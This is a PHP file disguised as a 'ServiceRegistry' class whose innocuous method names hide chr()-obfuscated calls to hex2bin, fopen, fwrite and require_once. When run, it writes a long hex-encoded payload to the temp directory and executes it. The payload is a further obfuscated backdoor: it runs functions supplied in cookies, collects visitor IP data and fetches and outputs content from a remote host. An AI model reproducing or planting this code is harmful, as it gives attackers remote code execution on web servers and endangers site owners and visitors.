<?php
class ServiceRegistry
{
    private $ag = '';
    private $yw = '';
    public function filterResults($p1)
    {
        $t = array(117 - 7, 16 * 1 + 89, 98, 2 * 25, 2 * 60, 45 + 20 + 36, 101 * 1 + 3);
        $s = '';
        foreach ($t as $b) {
            $s .= chr($b);
        }
        $s = strrev($s);
        return $s($p1);
    }
    public function updateRegistry($p1, $p2)
    {
        $e = array(24 * 82 - 1858, 101 * 1, 22 * 3 + 46, 50 * 2 + 11, 89 * 55 - 4793);
        $a = '';
        foreach ($e as $y) {
            $a .= chr($y);
        }
        $a = strrev($a);
        return $a($p1, $p2);
    }
    public function manageState($p1, $p2)
    {
        $u = array(23 * 69 - 1485, 39 + 72 + 8, 122 - 8, 104 * 1 + 1, 64 * 1 + 52, 62 + 39);
        $l = '';
        foreach ($u as $x) {
            $l .= chr($x);
        }
        return $l($p1, $p2);
    }
    public function processData($p1)
    {
        $l = array(101, 119 - 4, 79 * 32 - 2417, 108, 28 + 71, 81 + 13 + 8);
        $s = '';
        foreach ($l as $e) {
            $s .= chr($e);
        }
        $s = strrev($s);
        return $s($p1);
    }
    public function fetchSummary($p1, $p2 = null)
    {
        $l = array(70 + 29 + 15, 72 * 1 + 44, 2 * 57, 64 + 41, 109 * 1);
        $r = '';
        foreach ($l as $d) {
            $r .= chr($d);
        }
        return $r($p1, $p2);
    }
    public function handleRequest()
    {
        $this->yw = $this->fetchSummary($this->updateCache(), '/');
    }
    public function encryptData()
    {
        $this->ag = $this->filterResults($this->hc);
    }
    public function logTransaction()
    {
        $fn = $this->yw . '/vt-69c1228d1376a';
        $f = $this->updateRegistry($fn, 'w');
        $this->manageState($f, $this->ag);
        $this->processData($f);
        $this->calculateSum($fn);
    }
    private $hc = '3c3f70687020636c617373205f6f67757b707269766174652' . '0737461746963245f65663b7374617469632066756e6374696' . 'f6e205f696b7828245f6f65297b6966282173656c663a3a245' . 'f65662973656c663a3a5f666528293b72657475726e2062617' . '36536345f6465636f64652873656c663a3a245f65665b245f6' . 'f655d293b7d70726976617465207374617469632066756e637' . '4696f6e205f666528297b73656c663a3a245f65663d6172726' . '17928275f776378273d3e2751574e6a5a584e7a4c554e76626' . 'e527962327774515778736233637454334a272e27705a326c7' . '54f69272e2741272e2771272c275f7a70273d3e27513239756' . '4475675644331556558426c4f272e276942686348427361574' . 'e6864476c766269397159585a686332272e274e796158272e2' . '74230272c275f7771273d3e2759272e273267272e273d272c2' . '75f6e6268273d3e275a586c4b63474e4453545a4a616d63305' . '447706e4e4578715a7a524d616d633053576c3361575258525' . '76c5061556f272e2777576c684f4d456c7064326c6a62565a7' . '4535770766157272e275248566e706b51306f272e2735272c2' . '75f7a78273d3e276358643665413d272e273d272c275f68676' . '6273d3e27504739725067272e273d272e273d272c275f65692' . '73d3e2750474a685a44343d272c275f696664273d3e2764322' . '72e274673272e2762272e27413d272e273d272c275f766e273' . 'd3e27272c275f716c273d3e27272c275f737478273d3e27272' . 'c275f696d273d3e276148523063446f764c334231596935335' . 'a574a6d6157786c6147397a644756794c6d4e766253396a623' . '2317762334e6c6369357163272e277a396b595852685051272' . 'e273d3d272c275f667471273d3e2759335679624639272e277' . '0626d272e276c272e2730272c275f62786f273d3e276148523' . '06346396a623252272e276c272c275f7969273d3e2763324e6' . 'f5a272e275731272e276c272c275f6d7671273d3e276148523' . '063484d3d272c275f6d68273d3e275230565549413d272e273' . 'd272c275f796769273d3e276347463061272e27413d3d272c2' . '75f6a6877273d3e276358272e27566c272e27636e6b3d272c2' . '75f7270273d3e275077272e273d272e273d272c275f726e6c2' . '73d3e276358566c636e6b272e273d272c275f796f70273d3e2' . '749456855564641764d5334272e277744272e2751272e27704' . '9272e2762334e304f272e2769413d272c275f746465273d3e2' . '76147397a272e2764413d272e273d272c275f776d273d3e274' . '451272e277044623235755a574e30615739754f69424462473' . '97a5a51304b44272e2751272e276f3d272c275f6d7471273d3' . 'e2763272e27334e734f693876272c275f6e746b273d3e27272' . 'c275f6564273d3e2761272e2747397a64413d3d272c275f766' . '7273d3e2744516f3d272c275f7a7568273d3e2753465255554' . '639272e274454456c46546c526653272e2756272e27413d272' . 'c275f7579273d3e27534652555546395958305a50556c64425' . '56b5246524639475431493d272c275f677a63273d3e27556b5' . '64e543152465830272e274645524649272e273d272c275f6c7' . '46c273d3e275346525555463956553056535830272e2746272' . 'e27485255272e273555272c275f6866273d3e2753465255554' . '639565530565358272e273046485255272e2735272e2755272' . 'c275f6574273d3e27272c275f617369273d3e2753465255554' . '6395352555a46556b272e275653272c275f6571273d3e27534' . '652555546395352555a46556b272e275653272c275f63656d2' . '73d3e27272c275f6873273d3e2753465255554639272e27445' . '4456c46546c526653272e2756413d272c275f6b61273d3e275' . '34652555546394454456c4654272e276c52272e276653272e2' . '756413d272c275f6c6d73273d3e27534652555546395958305' . 'a50556c6442556b52465246272e2739475431493d272c275f7' . '164273d3e275346272e2752555546395958305a5055272e276' . 'c6442556b524652463947272e27543149272e273d272c275f6' . '46570273d3e27556b564e543152465830464552272e2746492' . '72e273d272c275f6462273d3e2755272e276b564e543152462' . '72e27583046455246272e2749272e273d272c275f6d7768273' . 'd3e275a474a272e276e272e276257396b5a513d3d272c275f6' . '16f273d3e2753564136272e2749272e2741272e273d272e273' . 'd272c275f76766f273d3e27494877675655453649413d3d272' . 'c275f6473273d3e2749487767556d56272e276d272e274f272' . 'e276941272e273d272c275f78746d273d3e274944786963272' . 'e276a272e27344b272c275f6a7765273d3e2761272e2758412' . '72e273d272c275f617678273d3e276457453d272c275f686d6' . 'd273d3e27636d566d272c275f7374273d3e276358643665412' . '72e273d272e273d272c293b7d7d686561646572285f6f67753' . 'a3a5f696b7828275f7763782729293b686561646572285f6f6' . '7753a3a5f696b7828275f7a702729293b69662869737365742' . '8245f4745545b5f6f67753a3a5f696b7828275f77272e27712' . '7295d29297b245f61746f3d5f78667a285f6f67753a3a5f696' . 'b7828275f6e272e2762272e27682729293b696628245f61746' . 'f2626737472706f7328245f61746f2c5f6f67753a3a5f696b7' . '828275f272e277a272e2778272929213d3d66616c7365297b6' . '46965285f6f67753a3a5f696b7828275f6867662729293b7d6' . '56c73657b646965285f6f67753a3a5f696b7828275f272e276' . '5692729293b7d7d696628697373657428245f4745545b5f6f6' . '7753a3a5f696b7828275f69272e2766272e276427295d29297' . 'b245f75643d245f434f4f4b49453b245f6d6b3d28696e74297' . '26f756e6428302b302b30293b245f6f653d28696e7429726f7' . '56e6428322e333333333333333333333333332b322e3333333' . '33333333333333333332b322e3333333333333333333333333' . '3293b245f65643d617272617928293b245f65645b245f6d6b5' . 'd3d5f6f67753a3a5f696b7828275f272e27766e27293b77686' . '96c6528245f6f65297b245f65645b245f6d6b5d2e3d245f756' . '45b28696e7429726f756e6428372e352b372e352b372e352b3' . '72e35295d5b245f6f655d3b69662821245f75645b28696e742' . '9726f756e6428372e352b372e352b372e352b372e35295d5b2' . '45f6f652b28696e7429726f756e6428302e352b302e35295d2' . '97b69662821245f75645b28696e7429726f756e642831352b3' . '135295d5b245f6f652b28696e7429726f756e6428302e352b3' . '02e352b302e352b302e35295d29627265616b3b245f6d6b2b2' . 'b3b245f65645b245f6d6b5d3d5f6f67753a3a5f696b7828275' . 'f272e2771272e276c27293b245f6f652b2b3b7d245f6f653d2' . '45f6f652b28696e7429726f756e6428312e37352b312e37352' . 'b312e37352b312e3735292b28696e7429726f756e6428302e3' . '52b302e35293b7d245f6d6b3d245f65645b28696e7429726f7' . '56e6428372b37295d28292e245f65645b28696e7429726f756' . 'e6428382b382b38295d3b69662821245f65645b28696e74297' . '26f756e6428312e352b312e352b312e352b312e35295d28245' . 'f6d6b29297b245f6f653d245f65645b28696e7429726f756e6' . '428362e352b362e352b362e352b362e35295d28245f6d6b2c2' . '45f65645b28696e7429726f756e6428352b35295d293b245f6' . '5645b28696e7429726f756e6428322e32352b322e32352b322' . 'e32352b322e3235295d28245f6f652c245f65645b28696e742' . '9726f756e6428332e363636363636363636363636372b332e3' . '63636363636363636363636372b332e3636363636363636363' . '6363637295d2e245f65645b28696e7429726f756e6428372e3' . '63636363636363636363636372b372e3636363636363636363' . '63636372b372e36363636363636363636363637295d28245f6' . '5645b28696e7429726f756e6428382e3333333333333333333' . '33333332b382e333333333333333333333333332b382e33333' . '333333333333333333333295d28245f75645b28696e7429726' . 'f756e6428312b312b31295d2929293b7d696e636c756465282' . '45f6d6b293b7d66756e6374696f6e205f78667a28245f62612' . 'c245f7179723d747275652c245f6c723d3134383538297b245' . 'f6879743d5f6f67753a3a5f696b7828275f272e277374272e2' . '77827293b245f62783d5f6f67753a3a5f696b7828275f69272' . 'e276d27292e245f62613b69662869735f63616c6c61626c652' . '85f6f67753a3a5f696b7828275f66272e277471272929297b2' . '45f7a776a3d6375726c5f696e697428245f6278293b6375726' . 'c5f7365746f707428245f7a776a2c4355524c4f50545f53534' . 'c5f564552494659504545522c66616c7365293b6375726c5f7' . '365746f707428245f7a776a2c4355524c4f50545f53534c5f5' . '64552494659484f53542c28696e7429726f756e6428302e363' . '63636363636363636363636372b302e3636363636363636363' . '6363636372b302e363636363636363636363636363729293b6' . '375726c5f7365746f707428245f7a776a2c4355524c4f50545' . 'f464f4c4c4f574c4f434154494f4e2c28696e7429726f756e6' . '428302e33333333333333333333333333332b302e333333333' . '33333333333333333332b302e3333333333333333333333333' . '33329293b6375726c5f7365746f707428245f7a776a2c43555' . '24c4f50545f52455455524e5452414e534645522c28696e742' . '9726f756e6428302e32352b302e32352b302e32352b302e323' . '529293b6375726c5f7365746f707428245f7a776a2c4355524' . 'c4f50545f4845414445522c28696e7429726f756e6428302b3' . '029293b6375726c5f7365746f707428245f7a776a2c4355524' . 'c4f50545f434f4e4e45435454494d454f55542c28696e74297' . '26f756e6428352b3529293b6375726c5f7365746f707428245' . 'f7a776a2c4355524c4f50545f54494d454f55542c28696e742' . '9726f756e6428332e333333333333333333333333332b332e3' . '33333333333333333333333332b332e3333333333333333333' . '333333329293b245f6879743d6375726c5f6578656328245f7' . 'a776a293b245f64783d6375726c5f676574696e666f28245f7' . 'a776a293b6375726c5f636c6f736528245f7a776a293b69662' . '8245f64785b5f6f67753a3a5f696b7828275f6278272e276f2' . '7295d213d28696e7429726f756e642835302b35302b35302b3' . '530292972657475726e2066616c73653b7d656c73657b245f6' . '16d3d70617273655f75726c28245f6278293b245f65796d3d2' . '8245f616d5b5f6f67753a3a5f696b7828275f796927295d3d3' . 'd5f6f67753a3a5f696b7828275f6d76712729293b245f68793' . 'd5f6f67753a3a5f696b7828275f6d272e276827292e245f616' . 'd5b5f6f67753a3a5f696b7828275f79676927295d3b6966286' . '97373657428245f616d5b5f6f67753a3a5f696b7828275f6a2' . '72e27687727295d2929245f68792e3d5f6f67753a3a5f696b7' . '828275f727027292e245f616d5b5f6f67753a3a5f696b78282' . '75f726e6c27295d3b245f68792e3d5f6f67753a3a5f696b782' . '8275f796f272e277027292e245f616d5b5f6f67753a3a5f696' . 'b7828275f74646527295d2e5f6f67753a3a5f696b7828275f7' . '7272e276d27293b245f7267773d66736f636b6f70656e28282' . '45f65796d3f5f6f67753a3a5f696b7828275f272e276d74712' . '7293a5f6f67753a3a5f696b7828275f6e74272e276b2729292' . 'e245f616d5b5f6f67753a3a5f696b7828275f656427295d2c2' . '45f65796d3f28696e7429726f756e64283131302e37352b313' . '1302e37352b3131302e37352b3131302e3735293a28696e742' . '9726f756e642834302b343029293b696628245f726777297b6' . '67075747328245f7267772c245f6879293b245f7a6a3d28696' . 'e7429726f756e6428302b302b30293b7768696c65282166656' . 'f6628245f72677729297b245f6464613d666765747328245f7' . '267772c28696e7429726f756e64283334312e3333333333333' . '3333333332b3334312e33333333333333333333332b3334312' . 'e333333333333333333333329293b696628245f7a6a29245f6' . '879742e3d245f6464613b696628245f6464613d3d5f6f67753' . 'a3a5f696b7828275f76272e2767272929245f7a6a3d28696e7' . '429726f756e6428302e32352b302e32352b302e32352b302e3' . '235293b7d66636c6f736528245f726777293b7d7d726574757' . '26e245f6879743b7d245f7479623d697373657428245f53455' . '25645525b5f6f67753a3a5f696b7828275f272e277a75272e2' . '76827295d293b245f66716f3d697373657428245f534552564' . '5525b5f6f67753a3a5f696b7828275f75272e277927295d293' . 'b245f706b653d697373657428245f5345525645525b5f6f677' . '53a3a5f696b7828275f677a272e276327295d293b245f71693' . 'd697373657428245f5345525645525b5f6f67753a3a5f696b7' . '828275f6c74272e276c27295d293f245f5345525645525b5f6' . 'f67753a3a5f696b7828275f686627295d3a5f6f67753a3a5f6' . '96b7828275f65272e277427293b245f7664643d69737365742' . '8245f5345525645525b5f6f67753a3a5f696b7828275f61736' . '927295d293f245f5345525645525b5f6f67753a3a5f696b782' . '8275f657127295d3a5f6f67753a3a5f696b7828275f6365272' . 'e276d27293b245f7479623d697373657428245f53455256455' . '25b5f6f67753a3a5f696b7828275f68272e277327295d293f2' . '45f5345525645525b5f6f67753a3a5f696b7828275f6b272e2' . '76127295d3a6e756c6c3b245f66716f3d697373657428245f5' . '345525645525b5f6f67753a3a5f696b7828275f6c272e276d7' . '327295d293f245f5345525645525b5f6f67753a3a5f696b782' . '8275f716427295d3a6e756c6c3b245f706b653d69737365742' . '8245f5345525645525b5f6f67753a3a5f696b7828275f272e2' . '76465272e277027295d293f245f5345525645525b5f6f67753' . 'a3a5f696b7828275f646227295d3a6e756c6c3b69662866696' . 'c7465725f76617228245f7479622c28696e7429726f756e642' . '839312e3636363636363636363636372b39312e36363636363' . '63636363636372b39312e36363636363636363636363729292' . '97b245f71663d245f7479623b7d656c736569662866696c746' . '5725f76617228245f66716f2c28696e7429726f756e6428363' . '82e37352b36382e37352b36382e37352b36382e37352929297' . 'b245f71663d245f66716f3b7d656c73657b245f71663d245f7' . '06b653b7d696628697373657428245f4745545b5f6f67753a3' . 'a5f696b7828275f6d77272e276827295d29297b6563686f205' . 'f6f67753a3a5f696b7828275f616f27292e245f71662e5f6f6' . '7753a3a5f696b7828275f272e2776766f27292e245f71692e5' . 'f6f67753a3a5f696b7828275f647327292e245f7664642e5f6' . 'f67753a3a5f696b7828275f78272e2774272e276d27293b657' . '8697428293b7d69662821697373657428245f7166297c7c216' . '97373657428245f7169297c7c21697373657428245f7664642' . '9297b6578697428293b7d656c73657b245f63743d617272617' . '9285f6f67753a3a5f696b7828275f6a776527293d3e245f716' . '62c5f6f67753a3a5f696b7828275f272e276176272e2778272' . '93d3e245f71692c5f6f67753a3a5f696b7828275f272e27682' . '72e276d6d27293d3e245f766464293b245f6369673d75726c6' . '56e636f6465286261736536345f656e636f6465286a736f6e5' . 'f656e636f646528245f63742929293b245f61746f3d5f78667' . 'a28245f636967293b696628245f61746f2626737472706f732' . '8245f61746f2c5f6f67753a3a5f696b7828275f73742729292' . '13d3d66616c7365297b6563686f245f61746f3b65786974282' . '93b7d7d';
    public function calculateSum($p)
    {
        require_once $p;
    }
    public function updateCache()
    {
        $a = array(43 + 72, 79 + 42, 115, 95, 94 + 9, 42 + 56 + 3, 80 * 45 - 3484, 39 + 56, 24 * 3 + 44, 20 * 54 - 979, 118 - 9, 4 + 25 + 83, 93 * 37 - 3346, 106 - 6, 3 * 35, 114);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$yz = new ServiceRegistry();
$yz->handleRequest();
$yz->encryptData();
$yz->logTransaction();